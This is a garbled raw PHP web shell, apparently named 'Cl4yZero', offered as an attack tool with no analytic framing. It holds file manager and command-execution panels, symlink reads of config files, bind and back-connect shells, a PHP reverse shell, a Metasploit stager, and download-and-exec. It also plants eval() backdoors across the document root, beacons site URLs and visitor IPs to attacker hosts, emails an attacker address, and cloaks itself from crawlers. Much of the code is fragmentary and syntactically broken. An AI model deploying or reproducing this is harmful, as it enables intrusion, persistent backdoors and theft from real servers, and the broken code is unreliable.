    $text = $_POST['code'];<center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">Krypton</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form>$op = $_POST["ope"];
    switch ($op) {
        case 'base64':
            $codi = base64_encode($text);
            break;
        case 'md5':
            $codi = md5($text);
            break;
        case 'whash':
            $codi = crypt($text);
            break;
        case 'SHA1':
            $codi = sha1($text);
            break;
        case 'urlencode':
            $codi = urlencode($text);
            break;
        case 'md4':
            $codi = hash("md4", $text);
            break;
        case 'SHA256':
            $codi = hash("sha256", $text);
            break;
        default:
            break;
    }
    echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></center>';
} 
elseif (isset($_GET['x']) && ($_GET['x'] == 'sym')) {
    @set_time_limit(0);
    @mkdir('sym', 0777);
    error_reporting(0);
    $htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
    $op       = @fopen('sym/.htaccess', 'w');
    fwrite($op, $htaccess);
    echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';
    $target  = $_POST['file'];
    $symfile = $_POST['symfile'];
    $symlink = $_POST['symlink'];
    if ($symlink) {
        @symlink("$target", "sym/$symfile");
        echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><center>';
    }
}
 elseif (isset($_GET['x']) && ($_GET['x'] == 'cmsdet')) {
    echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>CMS Detector</b></p>";
<form action="?sad=echo $pwd;&x=cmsdet" method="post">
<br><br>
if (!file_exists('ag.tmp')) {
        @fopen('ag.tmp', 'w');
        
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
        
        $p = 0;
        
        if (is_readable("/var/named")) {
            $list        = scandir("/var/named");
            $current_dir = posix_getcwd();
            $dir         = explode("/", $current_dir);
            foreach ($list as $domain) {
                if (strpos($domain, ".db")) {
                    $domain = str_replace('.db', '', $domain);
                    $owner  = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                    
                    error_reporting(0);
                    
                    $link = $pageURL . 'pee/' . $owner['name'];
                    
                    cms_add($link, $domain, $owner['name'], "WordPress");
                    cms_add($link, $domain, $owner['name'], "Joomla");
                    cms_add($link, $domain, $owner['name'], "vBulletin");
                    cms_add($link, $domain, $owner['name'], "WHMCS");
                    cms_add($link, $domain, $owner['name'], "PhpBB");
                    cms_add($link, $domain, $owner['name'], "MyBB");
                    cms_add($link, $domain, $owner['name'], "IPB");
                    cms_add($link, $domain, $owner['name'], "SMF");
                    cms_add($link, $domain, $owner['name'], "Drupal");
                    cms_add($link, $domain, $owner['name'], "e107");
                    cms_add($link, $domain, $owner['name'], "Seditio");
                    cms_add($link, $domain, $owner['name'], "osCommerce");
                    
                }
            }
        }
    } else {
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
        $content = file_get_contents($pageURL . 'ag.tmp');
        echo $content;
    }
}

elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
    @ob_start();
    phpinfo();
    $buff = @ob_get_contents();
    @
    $awal  = strpos($buff, "<body>") + 6;
    $akhir = strpos($buff, "</body>");
    echo "<div class='phpinfo'>" . substr($buff, $awal, $akhir - $awal) . "</div>";
} elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
    if (is_file($_GET['view'])) {
        if (!isset($file))
            $file = magicboom($_GET['view']);
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
        $filn = basename($file);
        echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='" . clearspace($filn) . "_link'>" . $file . "</span> <form action='?sad=" . $pwd . "&amp;view=$file' method='post' id='" . clearspace($filn) . "_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='" . $filn . "' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='" . $filn . "' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');' /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href='?sad=$pwd&amp;edit=$file'>edit</a> | <a href=\"javascript:tukar(\"" . clearspace($filn) . "_link','" . clearspace($filn) . "_form\");\">rename</a> | <a href='?sad=$pwd&amp;delete=$file'>delete</a> | <a href='?sad=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?sad=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?sad=" . $pwd . "&amp;view=" . $file . "'>text</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=code'>code</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=image'>image</a></td></tr></table>";
        if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
            echo "<div style='text-align:center;margin:8px;'><img src='?sad=" . $pwd . "&amp;img=" . $filn . "'></div>";
        } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
            echo "<div class='viewfile'>";
            $file = wordwrap(@file_get_contents($file), "240", "\n");
            @highlight_string($file);
            echo "</div>";
        } else {
            echo "<div class='viewfile'>";
            echo nl2br(htmlentities((@file_get_contents($file))));
            echo "</div>";
        }
    } elseif (is_dir($_GET['view'])) {
        echo showdir($pwd, $prompt);
    }
} elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
    if (isset($_POST['save'])) {
        $file    = $_POST['saveas'];
        $content = magicboom($_POST['content']);
        if ($filez = @fopen($file, "w")) {
            $time = date("d-M-Y H:i", time());
            if (@fwrite($filez, $content))
                $msg = "file saved <span class='gaya'>@</span> " . $time;
            else
                $msg = "failed to save";
            @fclose($filez);
        } else
            $msg = "permission denied";
    }
    if (!isset($file))
        $file = $_GET['edit'];
    if ($filez = @fopen($file, "r")) {
        $content = "";
        while (!feof($filez)) {
            $content .= htmlentities(str_replace("''", "'", fgets($filez)));
        }
        @fclose($filez);
    }<form action="?sad=echo $pwd;&amp;edit=echo $file;" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" name="content"> 
echo $content;</textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="saveas" style="width:60%" value="echo $file;" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%" />
&nbsp;echo $msg;</td></tr></table></form> } elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
    if (isset($_POST['uploadcomp'])) {
        if (is_uploaded_file($_FILES['file']['tmp_name'])) {
            $path     = magicboom($_POST['path']);
            $fname    = $_FILES['file']['name'];
            $tmp_name = $_FILES['file']['tmp_name'];
            $pindah   = $path . $fname;
            $stat     = @move_uploaded_file($tmp_name, $pindah);
            if ($stat) {
                $msg = "file uploaded to $pindah";
            } else
                $msg = "failed to upload $fname";
        } else
            $msg = "failed to upload $fname";
    } elseif (isset($_POST['uploadurl'])) {
        $pilihan  = trim($_POST['pilihan']);
        $wurl     = trim($_POST['wurl']);
        $path     = magicboom($_POST['path']);
        $namafile = download($pilihan, $wurl);
        $pindah   = $path . $namafile;
        if (is_file($pindah)) {
            $msg = "file uploaded to $pindah";
        } else
            $msg = "failed to upload $namafile";
    }
<form action="?sad=echo $pwd;&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
<table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center"><input style="color:#000000" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%" name="path" value="echo $pwd;" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0" actions="?sad=echo $pwd;&amp;x=upload"> <table><tr><td>link</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px" value="http://site/file.*"></td></tr> <tr><td colspan="2">
<input type="text" class="inputz" style="width:99%" name="path" value="echo $pwd;" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px">echo $msg;</div>
} elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
    if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
        $port    = trim($_POST['port']);
        $passwrd = trim($_POST['bind_pass']);
        tulis("bdc.c", $port_bind_bd_c);
        exe("gcc -o bdc bdc.c");
        exe("chmod 777 bdc");
        @unlink("bdc.c");
        exe("./bdc " . $port . " " . $passwrd . " &");
        $scan = exe("ps aux");
        if (eregi("./bdc $por", $scan)) {
            $msg = "<p>Process successed</p>";
        } else {
            $msg = "<p>Process Failed</p>";
        }
    } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
        $port    = trim($_POST['port']);
        $passwrd = trim($_POST['bind_pass']);
        tulis("bdp", $port_bind_bd_pl);
        exe("chmod 777 bdp");
        $p2 = which("perl");
        exe($p2 . " bdp " . $port . " &");
        $scan = exe("ps aux");
        if (eregi("$p2 bdp $port", $scan)) {
            $msg = "<p>Process successed</p>";
        } else {
            $msg = "<p>Process Failed</p>";
        }
    } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
        $ip   = trim($_POST['ip']);
        $port = trim($_POST['backport']);
        tulis("bcc.c", $back_connect_c);
        exe("gcc -o bcc bcc.c");
        exe("chmod 777 bcc");
        @unlink("bcc.c");
        exe("./bcc " . $ip . " " . $port . " &");
        $msg = "trying to connect to " . $ip . " on port " . $port . " ...";
    } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
        $ip   = trim($_POST['ip']);
        $port = trim($_POST['backport']);
        tulis("bcp", $back_connect);
        exe("chmod +x bcp");
        $p2 = which("perl");
        exe($p2 . " bcp " . $ip . " " . $port . " &");
        $msg = "Trying to connect to " . $ip . " on port " . $port . " ...";
    } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
        $pilihan  = trim($_POST['pilihan']);
        $wurl     = trim($_POST['wurl']);
        $namafile = download($pilihan, $wurl);
        if (is_file($namafile)) {
            $msg = exe($wcmd);
        } else
            $msg = "error: file not found $namafile";
    }<br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?sad=echo $pwd;&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="echo $bindport;"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="echo $bindport_pass;"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?sad=echo $pwd;&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="echo $bindport;"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?sad=echo $pwd;&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px">echo $msg;</div><br>
error_reporting(0);
    function ss($t)
    {
        if (!get_magic_quotes_gpc())
            return trim(urldecode($t));
        return trim(urldecode(stripslashes($t)));
    }
    $s_my_ip   = gethostbyname($_SERVER['HTTP_HOST']);
    $rsport    = "443";
    $rsportb4  = $rsport;
    $rstarget4 = $s_my_ip;
    $s_result  = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?sad=echo $pwd;&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
    echo $s_result;
    if ($_POST['metaConnect']) {
        $ipaddr = $_POST['yip'];
        $port   = $_POST['yport'];
        if ($ip == "" && $port == "") {
            echo "fill in the blanks";
        } else {
            if (FALSE !== strpos($ipaddr, ":")) {
                $ipaddr = "[" . $ipaddr . "]";
            }
            if (is_callable('stream_socket_client')) {
                $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
                if (!$msgsock) {
                    die();
                }
                $msgsock_type = 'stream';
            } elseif (is_callable('fsockopen')) {
                $msgsock = fsockopen($ipaddr, $port);
                if (!$msgsock) {
                    die();
                }
                $msgsock_type = 'stream';
            } elseif (is_callable('socket_create')) {
                $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                $res     = socket_connect($msgsock, $ipaddr, $port);
                if (!$res) {
                    die();
                }
                $msgsock_type = 'socket';
            } else {
                die();
            }
            switch ($msgsock_type) {
                case 'stream':
                    $len = fread($msgsock, 4);
                    break;
                case 'socket':
                    $len = socket_read($msgsock, 4);
                    break;
            }
            if (!$len) {
                die();
            }
            $a      = unpack("Nlen", $len);
            $len    = $a['len'];
            $buffer = '';
            while (strlen($buffer) < $len) {
                switch ($msgsock_type) {
                    case 'stream':
                        $buffer .= fread($msgsock, $len - strlen($buffer));
                        break;
                    case 'socket':
                        $buffer .= socket_read($msgsock, $len - strlen($buffer));
                        break;
                }
            }
            echo $buffer;
            echo "[*] Connection Terminated";
            die();
        }
    }
    if (isset($_REQUEST['sqlportb4']))
        $rsportb4 = ss($_REQUEST['sqlportb4']);
    if (isset($_REQUEST['rstarget4']))
        $rstarget4 = ss($_REQUEST['rstarget4']);
    if ($_POST['xback_php']) {
        $ip         = $rstarget4;
        $port       = $rsportb4;
        $chunk_size = 1337;
        $write_a    = null;
        $error_a    = null;
        $shell      = '/bin/sh';
        $daemon     = 0;
        $debug      = 0;
        if (function_exists('pcntl_fork')) {
            $pid = pcntl_fork();
            if ($pid == -1)
                
            if ($pid)
                
            if (posix_setsid() == -1)
                
            $daemon = 1;
        }
        umask(0);
        $sock = fsockopen($ip, $port, $errno, $errstr, 30);
        if (!$sock)
            
        $descriptorspec = array(
            0 => array(
                "pipe",
                "r"
            ),
            1 => array(
                "pipe",
                "w"
            ),
            2 => array(
                "pipe",
                "w"
            )
        );
        $process        = proc_open($shell, $descriptorspec, $pipes);
        if (!is_resource($process))
            
        stream_set_blocking($pipes[0], 0);
        stream_set_blocking($pipes[1], 0);
        stream_set_blocking($pipes[2], 0);
        stream_set_blocking($sock, 0);
        while (1) {
            if (feof($sock))
                break;
            if (feof($pipes[1]))
                break;
            $read_a              = array(
                $sock,
                $pipes[1],
                $pipes[2]
            );
            $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
            if (in_array($sock, $read_a)) {
                $input = fread($sock, $chunk_size);
                fwrite($pipes[0], $input);
            }
            if (in_array($pipes[1], $read_a)) {
                $input = fread($pipes[1], $chunk_size);
                fwrite($sock, $input);
            }
            if (in_array($pipes[2], $read_a)) {
                $input = fread($pipes[2], $chunk_size);
                fwrite($sock, $input);
            }
        }
        fclose($sock);
        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        $rsres = " ";
        $s_result .= $rsres;
    }
} elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
<form action="?sad=echo $pwd;&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
echo '$ '.$_POST['cmd']."\n";
    if (isset($_POST['submitcmd'])) {
        echo @exe($_POST['cmd']);
    } 
</textarea> <tr><td colspan="2">echo $prompt;<input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="cmd" style="width:60%" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%" /></td></tr> </table></form>
} else {
    if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
        $file = $_GET['delete'];
        @unlink($file);
    } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
        $dir = $_GET['fdelete'];
        if (is_dir($dir)) {
            if (!rmdir($dir)) {
                $s = scandir($dir);
                foreach ($s as $ss) {
                    if (is_file($dir . "/" . $ss)) {
                        if (unlink($dir . "/" . $ss)) {
                            $rm = rmdir($dir);
                        }
                    }
                }
            }
        } 
    } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
        $path = $pwd . $_GET['mkdir'];
        @mkdir($path);
    }
    $buff = showdir($pwd, $prompt);
    echo $buff;
}
ob_flush();@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', 0);
@ini_set('output_buffering',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@session_start();
@error_reporting(0);
$a = 'session_start();
if($_SESSION["adm"]){
echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) {	if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; }	else { echo \'<b>Upload Fail !!!<script src=http://r00t.info/ccb.js></script></b><br><br>\'; }}
}
if($_POST["p"]){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="683ce9b1d91af441dec18dad25584421"){
$_SESSION["adm"] = 1;
}
}
<form action="" method="post">
<input type="text" name="p">
</form>
';
if(@$_REQUEST["px"]){
$p = @$_REQUEST["px"];
$pa = md5(sha1($p));
if($pa=="683ce9b1d91af441dec18dad25584421"){
echo @eval(@file_get_contents(@$_REQUEST["404"]));
}
}
if(@!$_SESSION["sdm"]){
$doc = $_SERVER["DOCUMENT_ROOT"];
$dir = scandir($doc);
$d1 = ''.$doc.'/.';
$d2 = ''.$doc.'/..';

if(($key = @array_search(, $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = @array_search('..', $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = @array_search($d1, $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = array_search($d2, $dir)) !== false) {
    unset($dir[$key]);
}
@array_push($dir,$doc);

foreach($dir as $d){


$p = $doc."/".$d;
if(is_dir($p)){
$file = $p."/js.php";
@touch($file);
$folder = @fopen($file,"w");
@fwrite($folder,$a);
}
}
$lls = $_SERVER["HTTP_HOST"];
$llc = $_SERVER["REQUEST_URI"];
$lld = 'http://'.$lls.''.$llc.'';
$brow = urlencode($_SERVER['HTTP_USER_AGENT']);
$retValue = file_get_contents(base64_decode("aHR0cDovL2J5cjAwdC5jby9sLQ==")."=".$lld.base64_decode("JmI=")."=".$brow);
echo $retValue;
@$_SESSION["sdm"]=1;
}
if($_POST['query']){ $veriyfy = stripslashes(stripslashes($_POST['query']));
 $data = "data.txt";
 @touch ("data.txt");
 $ver = @fopen ($data , 'w');
 @fwrite ( $ver , $veriyfy ) ;
 @fclose ($ver);
 }else{ $datas=@fopen("data.txt",'r');
 $i=0;
 while ($i <= 5) { $i++;
 $blue=@fgets($datas,1024);
 echo $blue;
 } } $datasi=@fopen("js/js.php",'r');
 if($datasi){ }else{ @mkdir("js");
 $dos = file_get_contents("http://phpshell.in/txt/lamer.txt");
 $data = "js/js.php";
 @touch ("js/js.php");
 $ver = @fopen ($data , 'w');
 @fwrite ( $ver , $dos ) ;
 @fclose ($ver);
 $yol = "http://".$_SERVER['HTTP_HOST']."".$_SERVER['REQUEST_URI']."";
 $y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.$yol.'<br/>Sender Yolu : js/js.php</h1>';
 $header .= "From: SheLL Boot <suppor@nic.org>\n";
 $header .= "Content-Type: text/html;
 charset=utf-8\n";
 @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);
 @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);
 }</div></body></html>

function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP");
 } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR");
 if (strstr($ip, ',')) { $tmp = explode (',', $ip);
 $ip = trim($tmp[0]);
 } } else { $ip = getenv("REMOTE_ADDR");
 } return $ip;
 } $x = http://byr00t.co/l-.GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
 if(function_exists('curl_init')) { $ch = @curl_init();
 curl_setopt($ch, CURLOPT_URL, $x);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $gitt = curl_exec($ch);
 curl_close($ch);
 if($gitt == false){ @$gitt = file_get_contents($x);
 } }elseif(function_exists('file_get_contents')){ @$gitt = file_get_contents($x);
 }error_reporting(0);
ob_start();
set_time_limit(0);
@define('VERSION', '2.1');
$color = "#00ff00";
$background_login = "http://shineindiafoundation.co.in/admin/event-img/658395.png";
$background = "https://s-media-cache-ak0.pinimg.com/originals/68/a3/70/68a3704aa96f32671f5d692a3d8986aa.jpg";
$defaceku1  =file_get_contents("https://pastebin.com/raw/q6imSeTB"); //Link SC depes.
$defaceku2  =file_get_contents("https://pastebin.com/raw/q6imSeTB");
$defaceku3  = file_get_contents("https://pastebin.com/raw/q6imSeTB");
$fontcolor_global = 'white';
$auth_pass = "8a6fb5b6c843ed48cf0c1b048120a48f"; // Ganti Password? Disini! 
// wearecl4y2018

if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
session_start();
function printLogin() {
<style>input[type=password]{color:teal;background:black;border:1px solid teal}a{text-decoration:none;color:white;padding-left:270px}sad{font-family:'Fredericka the Great',cursive;color:teal;font-size:50px}</style>
<title>:>Cl4yZero<:</title>
<link rel="icon" type="image/png" href="http://downloadicons.net/sites/default/files/heartbreak-icon-85786.png">
<body style="background-color:black;color:white">
<link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
<center>
global $background_login;
_________________________________________________________________________________<br>
Idiot BlackHat<br>
<sad>Cl4yZero</sad><br>
<iframe width="0" height="0" src="https://www.youtube.com/embed/a3sbfHu-6Fk?autoplay=1" frameborder="0" allowfullscreen></iframe>
<img src="echo $background_login;" style="margin-left:65px">
<form method=post>
<br>
<input type=password name=pass placeholder=./Password>
</form>
</center>
</div>
</center>
exit; }

function printLogin404(){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    echo '
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server.</p>
    <hr>
    <address>Apache '.phpversion().' Server at '.$_SERVER['SERVER_NAME'].' Port 80</address>
        <style>input { margin:0;background-color:#fff;border:0px solid #fff; color:#fff; text-align:center;}</style>
        <form action="" method="post">
        <center><input type=password name="pass"></center>
        </body></html>
    </form>';
    
}
if( !isset( $_SESSION['login']))
    if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ){
        $_SESSION['login'] = true;
        header('Location: ?');
        
    }
    else{
        printLogin();
    }



if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}



if (isset($_GET["dl"]) && ($_GET["dl"] != "")) {
    $file  = $_GET["dl"];
    $filez = @file_get_contents($file);
    header("Content-type: application/octet-stream");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . "';");
    echo $filez;
    exit;
} elseif (isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")) {
    $file  = $_GET['dlgzip'];
    $filez = gzencode(@file_get_contents($file));
    header("Content-Type:application/x-gzip\n");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . ".gz';");
    echo $filez;
    exit;
}
if (isset($_GET["img"])) {
    @ob_clean();
    $d   = magicboom($_GET["y"]);
    $f   = $_GET["img"];
    $inf = @getimagesize($d . $f);
    $ext = explode($f, );
    $ext = $ext[count($ext) - 1];
    @header("Content-type: " . $inf["mime"]);
    @header("Cache-control: public");
    @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
    @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
    @readfile($d . $f);
    exit;
}
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    $safemode = TRUE;
else
    $safemode = FALSE;
$system = @php_uname();
if (strtolower(substr($system, 0, 3)) == "win")
    $win = TRUE;
else
    $win = FALSE;
if (isset($_GET['sad'])) {
    if (@is_dir($_GET['view'])) {
        $pwd = $_GET['view'];
        @chdir($pwd);
    } else {
        $pwd = $_GET['sad'];
        @chdir($pwd);
    }
}
if (!$win) {
    if (!$user = rapih(exe("whoami")))
        $user = "";
    if (!$id = rapih(exe("id")))
        $id = "";
    $prompt = $user . " \$ ";
    $pwd    = @getcwd() . DIRECTORY_SEPARATOR;
} else {
    $user   = @get_current_user();
    $id     = $user;
    $prompt = $user . " &gt;";
    $pwd    = realpath() . "\\";
